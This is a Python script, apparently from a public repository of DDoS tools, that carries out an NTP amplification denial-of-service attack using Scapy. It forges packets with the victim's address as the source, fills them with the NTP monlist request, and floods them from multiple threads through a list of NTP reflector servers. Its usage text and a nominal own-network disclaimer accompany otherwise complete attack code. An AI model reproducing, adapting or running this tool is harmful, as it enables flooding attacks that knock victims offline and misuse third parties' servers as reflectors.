Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/ntp-py.py
4622 views
#!/usr/bin/env python1from scapy.all import *2import sys3import threading4import time5#NTP Amp DOS attack6#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 107#FOR USE ON YOUR OWN NETWORK ONLY8910#packet sender11def deny():121314global ntplist15global currentserver16global data17global target18ntpserver = ntplist[currentserver] #Get new server19currentserver = currentserver + 1 #Increment for next20packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT21send(packet,loop=1) #SEND IT2223#So I dont have to have the same stuff twice24def printhelp():25print "NTP Amplification DOS Attack"26print "By DaRkReD"27print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"28print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"29print "NTP serverlist file should contain one IP per line"30print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"31exit(0)3233if len(sys.argv) < 4:34printhelp()35#Fetch Args36target = sys.argv[1]3738#Help out idiots39if target in ("help","-h","h","?","--h","--help","/?"):40printhelp()4142ntpserverfile = sys.argv[2]43numberthreads = int(sys.argv[3])44#System for accepting bulk input45ntplist = []46currentserver = 047with open(ntpserverfile) as f:48ntplist = f.readlines()495051525354#Make sure we dont out of bounds55if numberthreads > int(len(ntplist)):56print "Attack Aborted: More threads than servers"57print "Next time dont create more threads than servers"58exit(0)5960#Magic Packet aka NTP v2 Monlist Packet61data = "\x17\x00\x03\x2a" + "\x00" * 46263#Hold our threads64threads = []65print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"66print "Use CTRL+C to stop attack"6768#Thread spawner69for n in range(numberthreads):70thread = threading.Thread(target=deny)71thread.daemon = True72thread.start()7374threads.append(thread)7576#In progress!77print "Sending..."7879#Keep alive so ctrl+c still kills all them threads80while True:81time.sleep(1)828384